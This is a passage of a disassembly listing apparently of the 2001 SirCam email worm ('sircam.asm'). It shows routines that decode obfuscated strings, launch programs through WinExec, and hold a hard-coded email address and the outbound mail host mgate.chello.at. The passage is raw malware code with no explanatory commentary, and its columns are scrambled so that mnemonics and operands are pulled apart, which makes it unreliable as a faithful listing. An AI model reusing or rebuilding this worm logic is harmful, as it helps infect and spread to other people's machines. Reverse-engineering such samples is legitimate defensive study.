loc_416BFC: loc_416C22: loc_416C2F: sub_416B20 615 ; CODE XREF: CODE:00416C4A\031j lea eax, [ebp+var_10] call sub_4034C8 lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -2BCh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416C45: ; DATA XREF: sub_416B20+2B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_416C2F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416C4C: ; DATA XREF: sub_416B20+10A\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 616 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_416C54 proc near var_6C var_68 var_64 var_60 var_5C var_58 var_54 var_50 var_4C var_48 var_44 var_40 var_3C var_38 var_34 var_30 var_2C var_28 var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = = = = = = = = = = = = = = = = = = = = ; CODE XREF: start+61D\031p dword ptr -6Ch dword ptr -68h dword ptr -64h dword ptr -60h dword ptr -5Ch dword ptr -58h dword ptr -54h dword ptr -50h dword ptr -4Ch dword ptr -48h dword ptr -44h dword ptr -40h dword ptr -3Ch dword ptr -38h dword ptr -34h byte ptr -30h dword ptr -2Ch dword ptr -28h byte ptr -24h byte ptr -20h dword ptr -1Ch byte ptr -18h dword ptr -14h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 push mov mov ebp ebp, esp ecx, 0Dh push push dec jnz push push mov mov mov call xor push push push mov push push lea push mov mov mov call lea mov call lea xor mov call ; CODE XREF: sub_416C54+D\031j 0 0 ecx short loc_416C5C ecx ebx ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_416F90 dword ptr fs:[eax] fs:[eax], esp 1 1 eax, [ebp+var_18] eax ecx, offset dword_416FA4 edx, offset dword_416FB0 eax, ds:dword_41EEFC sub_415EAC edx, [ebp+var_14] eax, [ebp+var_4] sub_4073EC ecx, [ebp+var_10] edx, edx eax, [ebp+var_14] sub_407324 loc_416C5C: sircam.asm Fri Aug 10 12:42:44 2001 617 mov mov call test jnz lea mov call edx, [ebp+var_10] eax, offset dword_416FBC sub_4039B4 eax, eax short loc_416CD0 eax, [ebp+var_10] edx, [ebp+var_14] sub_403560 push push push mov mov call lea mov call mov lea mov call lea mov mov call mov mov mov call push push lea push mov mov mov call push push lea push lea push mov mov mov call mov lea call mov mov mov call push push lea push lea push mov mov mov call mov lea call mov ; CODE XREF: sub_416C54+6F\030j ds:dword_41EEF0 offset dword_416FC8 [ebp+var_10] eax, offset dword_41EEF4 edx, 3 sub_4037E4 edx, [ebp+var_1C] eax, 6 sub_41609C edx, [ebp+var_1C] eax, [ebp+var_10] ecx, [ebp+var_10] sub_403770 ecx, [ebx+1] edx, [ebp+var_10] eax, [ebp+var_4] sub_416B20 cl, 1 edx, ds:dword_41EEF4 eax, [ebp+var_10] sub_416178 1 1 eax, [ebp+var_20] eax ecx, ds:dword_41EEF4 edx, offset aFb1b ; "FB1B" eax, ds:dword_41EEFC sub_415EAC 1 1 eax, [ebp+var_24] eax eax, [ebp+var_2C] eax ecx, 5Ah edx, offset dword_416FE4 eax, [ebp+var_4] sub_416A1C eax, [ebp+var_2C] edx, [ebp+var_28] sub_406E9C ecx, [ebp+var_28] edx, offset aFb1bb ; "FB1BB" eax, ds:dword_41EEFC sub_415EAC 1 1 eax, [ebp+var_30] eax eax, [ebp+var_38] eax ecx, 5Ah edx, offset dword_417000 eax, [ebp+var_4] sub_416A1C eax, [ebp+var_38] edx, [ebp+var_34] sub_406E9C ecx, [ebp+var_34] loc_416CD0: sircam.asm Fri Aug 10 12:42:44 2001 618 mov edx, offset aFb1ba ; "FB1BA" mov eax, ds:dword_41EEFC call sub_415EAC lea edx, [ebp+var_3C] mov eax, [ebp+var_10] call sub_41620C mov eax, [ebp+var_3C] lea ecx, [ebp+var_8] mov edx, 1 call sub_415FAC mov eax, [ebp+var_8] mov edx, offset dword_41701C call sub_403834 jnz short loc_416E03 push 1 lea edx, [ebp+var_40] mov eax, [ebp+var_10] call sub_407424 mov eax, [ebp+var_40] call sub_4038E8 push eax call j_WinExec jmp loc_416F75 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416E03: ; CODE XREF: sub_416C54+18D\030j lea ecx, [ebp+var_44] xor edx, edx mov eax, offset aOzqoSlqcevanzm ; "\216§\237®²\231«\237\227\205¢\235§¬©¡¬\225\221¤¦\235©²«\225}°ª«\237©¬\217\237-«¢"... call sub_415FAC mov edx, [ebp+var_44] mov eax, offset dword_41EEF4 call sub_40351C mov eax, [ebp+var_8] mov edx, offset dword_417068 call sub_403834 jnz short loc_416EA5 push 0 push 1 lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_4C] xor edx, edx mov eax, offset dword_417074 call sub_415FAC mov ecx, [ebp+var_4C] lea eax, [ebp+var_48] mov edx, ds:dword_41EEF4 call sub_403770 mov eax, [ebp+var_48] xor ecx, ecx xor edx, edx call sub_415EAC cmp [ebp+var_C], 0 jnz loc_416F2D push 0 push 1 lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_54] xor edx, edx mov eax, offset dword_41708C call sub_415FAC mov ecx, [ebp+var_54] lea eax, [ebp+var_50] mov edx, ds:dword_41EEF4 call sub_403770 mov eax, [ebp+var_50] xor ecx, ecx sircam.asm Fri Aug 10 12:42:44 2001 619 xor edx, edx call sub_415EAC jmp loc_416F2D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416EA5: ; CODE XREF: sub_416C54+1D8\030j mov eax, [ebp+var_8] mov edx, offset dword_4170A4 call sub_403834 jnz short loc_416EEA push 0 push 1 lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_5C] xor edx, edx mov eax, offset dword_4170B0 call sub_415FAC mov ecx, [ebp+var_5C] lea eax, [ebp+var_58] mov edx, ds:dword_41EEF4 call sub_403770 mov eax, [ebp+var_58] xor ecx, ecx xor edx, edx call sub_415EAC jmp short loc_416F2D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416EEA: mov mov call jnz push push lea push lea xor mov call mov lea mov call mov xor xor call loc_416F2D: ; CODE XREF: sub_416C54+25E\030j eax, [ebp+var_8] edx, offset dword_4170C4 sub_403834 short loc_416F2D 0 1 eax, [ebp+var_C] eax ecx, [ebp+var_64] edx, edx eax, offset dword_4170D0 sub_415FAC ecx, [ebp+var_64] eax, [ebp+var_60] edx, ds:dword_41EEF4 sub_403770 eax, [ebp+var_60] ecx, ecx edx, edx sub_415EAC ; CODE XREF: sub_416C54+212\030j ; sub_416C54+24C\030j ... cmp jnz lea xor mov call [ebp+var_C], 0 short loc_416F42 ecx, [ebp+var_C] edx, edx eax, offset dword_4170E4 sub_415FAC push push push lea mov call push lea mov ; CODE XREF: sub_416C54+2DD\030j 1 [ebp+var_C] offset dword_417114 edx, [ebp+var_6C] eax, [ebp+var_10] sub_407424 [ebp+var_6C] eax, [ebp+var_68] edx, 3 loc_416F42: sircam.asm Fri Aug 10 12:42:44 2001 call mov call push call sub_4037E4 eax, [ebp+var_68] sub_4038E8 eax j_WinExec xor pop pop pop mov push ; CODE XREF: sub_416C54+1AA\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_416F97 loc_416F75: loc_416F82: sub_416C54 620 ; CODE XREF: CODE:00416F95\031j lea eax, [ebp+var_6C] mov edx, 1Bh call sub_4034EC retn endp ; sp = -74h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416F90: ; DATA XREF: sub_416C54+21\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_416F82 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416F97: ; DATA XREF: sub_416C54+329\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 1 dword_416FA4 dd 31h, 0FFFFFFFFh, 3 ; DATA XREF: sub_416C54+34\030o dword_416FB0 dd 374446h, 0FFFFFFFFh, 1 ; DATA XREF: sub_416C54+39\030o dword_416FBC dd 2Eh, 0FFFFFFFFh, 1 ; DATA XREF: sub_416C54+63\030o dword_416FC8 dd 5Ch, 0FFFFFFFFh, 4 ; DATA XREF: sub_416C54+82\030o aFb1b db ’FB1B’,0 ; DATA XREF: sub_416C54+E0\030o align 4 dd 0FFFFFFFFh, 1 dword_416FE4 dd 35h, 0FFFFFFFFh, 5 ; DATA XREF: sub_416C54+100\030o aFb1bb db ’FB1BB’,0 ; DATA XREF: sub_416C54+11B\030o align 4 dd 0FFFFFFFFh, 1 dword_417000 dd 39h, 0FFFFFFFFh, 5 ; DATA XREF: sub_416C54+13B\030o aFb1ba db ’FB1BA’,0 ; DATA XREF: sub_416C54+156\030o align 4 dd 0FFFFFFFFh, 3 dword_41701C dd 6D7F6Fh, 0FFFFFFFFh, 34h ; DATA XREF: sub_416C54+183\030o aOzqoSlqcevanzm db ’\216§\237®²\231«\237\227\205¢\235-§¬©¡¬\225\221¤¦\235©²«\225}°ª«\237© ¬\217\237-«¢©©\224zª«X\211\233¯ ¬\226’,0 ; DATA XREF: sub_416C54+1B4\030o align 4 dd 0FFFFFFFFh, 3 dword_417068 dd 6B766Eh, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_416C54+1CE\030o dword_417074 dd 697F796Ah, 40758282h, 6E768878h, 0, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_416C54+1E7\030o dword_41708C dd 76837F6Ah, 40757163h, 6E768878h, 0, 0FFFFFFFFh, 3 ; DATA XREF: sub_416C54+225\030o dword_4170A4 dd 7B7382h, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_416C54+254\030o dword_4170B0 dd 75728656h, 88743C7Dh, 6A76h, 0FFFFFFFFh, 3 ; DATA XREF: sub_416C54+26D \030o dword_4170C4 dd 787084h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_416C54+299\030o dword_4170D0 dd 8B7E7889h, 763E7F7Bh, 6C748Ah, 0FFFFFFFFh, 26h ; DATA XREF: sub_416C54+2B2\030o dword_4170E4 dd 90999F9Fh, 5E5E9699h, 91A38F5Bh, 91939D4Dh, 5E5E9699h ; DATA XREF: sub_416C54+2E4\030o sircam.asm dword_417114 Fri Aug 10 12:42:44 2001 621 dd 98978E5Bh, 919B7959h, 8B9E6B9Bh, 70999F7Fh, 7679h, 0FFFFFFFFh dd 1 dd 20h ; DATA XREF: sub_416C54+2F3\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_417118 proc near var_158 var_C var_5 var_4 = = = = ; CODE XREF: sub_4171C0+D0\031p byte ptr -158h dword ptr -0Ch byte ptr -5 dword ptr -4 push mov add push mov mov call xor push push push mov mov lea call mov mov mov lea call call xor ebp ebp, esp esp, 0FFFFFEA8h ebx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_4171B2 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, [ebp+var_158] sub_404E16 eax, ds:off_41DC30 byte ptr [eax], 0 edx, 1 eax, [ebp+var_158] sub_40510D sub_40265C ebx, ebx lea push lea mov lea call call inc cmp jnz lea call call dec xor pop pop pop mov push ; CODE XREF: sub_417118+71\031j eax, [ebp+var_C] eax edx, [ebp+var_5] ecx, 1 eax, [ebp+var_158] sub_404EB8 sub_40265C ebx [ebp+var_C], 0 short loc_417168 eax, [ebp+var_158] sub_404F80 sub_40265C ebx eax, eax edx ecx ecx fs:[eax], edx offset loc_4171B9 loc_417168: loc_4171A9: sub_417118 ; CODE XREF: CODE:004171B7\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -164h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4171B2: ; DATA XREF: sub_417118+18\030o jmp loc_402F60 sircam.asm Fri Aug 10 12:42:44 2001 622 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4171A9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4171B9: ; DATA XREF: sub_417118+8C\030o mov pop mov pop retn eax, ebx ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4171C0 proc near var_14 var_10 var_C var_8 var_4 arg_0 arg_4 arg_8 arg_C = = = = = = = = = dword ptr dword ptr dword ptr dword ptr dword ptr byte ptr dword ptr dword ptr dword ptr ; CODE XREF: sub_4190CC+AA2\031p ; start+563\031p -14h -10h -0Ch -8 -4 8 0Ch 10h 14h push mov add push xor mov mov mov mov mov mov call mov call mov call mov call mov call mov call xor push push push mov lea mov call lea mov ebp ebp, esp esp, 0FFFFFFECh ebx ebx, ebx [ebp+var_14], ebx [ebp+var_10], ebx [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, [ebp+var_C] sub_4038D8 eax, [ebp+arg_C] sub_4038D8 eax, [ebp+arg_8] sub_4038D8 eax, [ebp+arg_4] sub_4038D8 eax, eax ebp offset loc_4172D2 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_10] edx, offset aFa2sc ; "FA2sc" sub_403560 eax, [ebp+var_10] edx, offset aFa5michaela23@ ; "[email protected] call lea mov call lea mov sub_403560 eax, [ebp+var_10] edx, offset dword_417364 sub_403560 eax, [ebp+var_10] edx, offset aFa9mgate_chell ; "FA9mgate.chello.at call mov sub_403560 bl, 1 "... "... sircam.asm Fri Aug 10 12:42:44 2001 cmp jz lea push mov mov mov call mov mov call setnz [ebp+arg_0], 0 short loc_417278 eax, [ebp+var_14] eax ecx, 2 edx, offset dword_4173E0 eax, [ebp+var_8] sub_416A1C eax, [ebp+var_14] edx, offset dword_4173EC sub_403834 bl test jz mov push push mov push mov push mov call push push mov push mov mov mov call ; CODE XREF: sub_4171C0+90\030j bl, bl short loc_4172AA eax, [ebp+arg_C] eax offset dword_4173EC eax, [ebp+arg_8] eax eax, [ebp+arg_4] eax eax, [ebp+var_4] sub_417118 eax 1 al, [ebp+arg_0] eax ecx, [ebp+var_C] edx, [ebp+var_8] eax, [ebp+var_4] sub_416478 xor pop pop pop mov push ; CODE XREF: sub_4171C0+BA\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4172D9 loc_417278: loc_4172AA: loc_4172B7: sub_4171C0 623 ; CODE XREF: CODE:004172D7\031j lea eax, [ebp+var_14] mov edx, 5 call sub_4034EC lea eax, [ebp+arg_4] mov edx, 3 call sub_4034EC retn endp ; sp = -40h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4172D2: ; DATA XREF: sub_4171C0+4B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4172B7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4172D9: ; DATA XREF: sub_4171C0+F2\030o mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 5 aFa2sc db ’FA2sc’,0 ; DATA XREF: sub_4171C0+59\030o sircam.asm Fri Aug 10 12:42:44 2001 624 align 4 dd 0FFFFFFFFh, 5Ch aFa5michaela23@ db ’[email protected] ; DATA XREF: sub_4171C0+66\030o db ’ ’,0 align 4 dd 0FFFFFFFFh, 0Bh dword_417364 dd 31384146h, 31323733h, 202036h, 0FFFFFFFFh, 5Ch ; DATA XREF: sub_4171C0+73\030o aFa9mgate_chell db ’FA9mgate.chello.at ; DATA XREF: sub_4171C0+80\030o db ’ ’,0 align 4 dd 0FFFFFFFFh, 1 dword_4173E0 dd 32h, 0FFFFFFFFh, 2 ; DATA XREF: sub_4171C0+9B\030o dword_4173EC dd 6373h ; DATA XREF: sub_4171C0+AB\030o ; sub_4171C0+C0\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4173F0 proc near var_108 var_104 var_4 arg_0 = = = = ; CODE XREF: sub_4177BC+D5\031p ; sub_4177BC+125\031p dword ptr -108h byte ptr -104h dword ptr -4 dword ptr 8 push mov add xor mov mov xor push push push mov mov inc lea mov mov call lea lea call mov push push lea xor mov call push lea mov call mov mov mov mov call mov mov call xor ebp ebp, esp esp, 0FFFFFEF8h eax, eax [ebp+var_108], eax [ebp+var_4], eax eax, eax ebp offset loc_4174A1 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+arg_0] dword ptr [eax-4] edx, [ebp+var_104] eax, [ebp+arg_0] eax, [eax-4] sub_40296C edx, [ebp+var_104] eax, [ebp+var_4] sub_4036EC eax, [ebp+arg_0] dword ptr [eax-8] [ebp+var_4] ecx, [ebp+var_108] edx, edx eax, offset a9luv ; "9luv" sub_415FAC [ebp+var_108] eax, [ebp+var_4] edx, 3 sub_4037E4 eax, [ebp+arg_0] eax, [eax-0Ch] edx, [ebp+var_4] ecx, [eax] dword ptr [ecx+64h] edx, 2 eax, [ebp+var_4] sub_4071B8 eax, eax ’ ’ sircam.asm Fri Aug 10 12:42:44 2001 pop pop pop mov push loc_41748D: sub_4173F0 625 edx ecx ecx fs:[eax], edx offset loc_4174A8 ; CODE XREF: CODE:004174A6\031j lea eax, [ebp+var_108] call sub_4034C8 lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -11Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4174A1: ; DATA XREF: sub_4173F0+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41748D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4174A8: ; DATA XREF: sub_4173F0+98\030o mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 4 a9luv db ’9luv’,0 ; DATA XREF: sub_4173F0+58\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4174BC proc near var_958 var_954 var_950 var_150 var_4 = = = = = ; CODE XREF: sub_4177BC+60\031p dword ptr -958h dword ptr -954h byte ptr -950h byte ptr -150h dword ptr -4 push mov add push push xor mov mov mov mov xor push push push mov mov call lea mov mov mov call mov lea call mov lea ebp ebp, esp esp, 0FFFFF6A8h ebx esi edx, edx [ebp+var_958], edx [ebp+var_954], edx esi, eax ebx, offset dword_41EEDC eax, eax ebp offset loc_41759F dword ptr fs:[eax] fs:[eax], esp eax, ebx sub_4034C8 ecx, [ebp+var_954] edx, esi eax, ds:dword_41EF14 esi, [eax] dword ptr [esi+0Ch] edx, [ebp+var_954] eax, [ebp+var_150] sub_404E16 edx, 1 eax, [ebp+var_150] sircam.asm Fri Aug 10 12:42:44 2001 call call sub_40510D sub_40265C lea push lea mov lea call call lea lea mov call mov mov call cmp jnz lea call call xor pop pop pop mov push ; CODE XREF: sub_4174BC+B3\031j eax, [ebp+var_4] eax edx, [ebp+var_950] ecx, 800h eax, [ebp+var_150] sub_404EB8 sub_40265C eax, [ebp+var_958] edx, [ebp+var_950] ecx, 800h sub_4035B0 edx, [ebp+var_958] eax, ebx sub_40372C [ebp+var_4], 0 short loc_417529 eax, [ebp+var_150] sub_404F80 sub_40265C eax, eax edx ecx ecx fs:[eax], edx offset loc_4175A6 loc_417529: loc_41758E: sub_4174BC 626 ; CODE XREF: CODE:004175A4\031j lea eax, [ebp+var_958] mov edx, 2 call sub_4034EC retn endp ; sp = -968h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41759F: ; DATA XREF: sub_4174BC+23\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41758E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4175A6: ; DATA XREF: sub_4174BC+CD\030o pop pop mov pop retn esi ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4175AC proc near var_14 var_10 var_C var_8 var_4 = = = = = dword dword dword dword dword push mov xor push push push ptr ptr ptr ptr ptr ; CODE XREF: sub_4177BC+65\031p -14h -10h -0Ch -8 -4 ebp ebp, esp ecx, ecx ecx ecx ecx sircam.asm Fri Aug 10 12:42:44 2001 627 push push push push push xor push push push mov ecx ecx ebx esi edi eax, eax ebp offset loc_417795 dword ptr fs:[eax] fs:[eax], esp mov mov call mov test jle lea call lea call lea push mov sub mov mov call mov mov call mov dec cmp jle ; CODE XREF: sub_4175AC+1C8\031j edx, ds:dword_41EEDC eax, offset dword_4177AC sub_4039B4 edi, eax edi, edi loc_417772 eax, [ebp+var_8] sub_4034C8 eax, [ebp+var_C] sub_4034C8 eax, [ebp+var_4] eax edx, edi edx, 12h ecx, 32h eax, ds:dword_41EEDC sub_40392C edx, [ebp+var_4] eax, offset dword_4177AC sub_4039B4 esi, eax esi esi, 1 short loc_417678 mov mov mov add sub jb mov mov add sub jb mov cmp jz mov cmp jz mov mov add sub jnb eax, [ebp+var_4] bl, [eax+esi-1] eax, ebx al, 9Fh al, 1Ah short loc_417653 eax, [ebp+var_4] eax, ebx al, 0BFh al, 1Ah short loc_417653 eax, [ebp+var_4] bl, 2Eh short loc_417653 eax, [ebp+var_4] bl, 5Fh short loc_417653 eax, [ebp+var_4] eax, ebx al, 0D0h al, 0Ah short loc_417670 lea mov mov call mov lea mov ; CODE XREF: sub_4175AC+7F\030j ; sub_4175AC+8A\030j ... eax, [ebp+var_10] edx, [ebp+var_4] edx, ebx sub_403670 edx, [ebp+var_10] eax, [ebp+var_8] ecx, [ebp+var_8] loc_4175C7: loc_41761E: ; CODE XREF: sub_4175AC+CA\031j loc_417653: sircam.asm Fri Aug 10 12:42:44 2001 628 call sub_403770 jmp short loc_417672 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_417670: ; CODE XREF: sub_4175AC+A5\030j xor esi, esi dec cmp jg esi esi, 1 short loc_41761E loc_417672: ; CODE XREF: sub_4175AC+C2\030j loc_417678: ; CODE 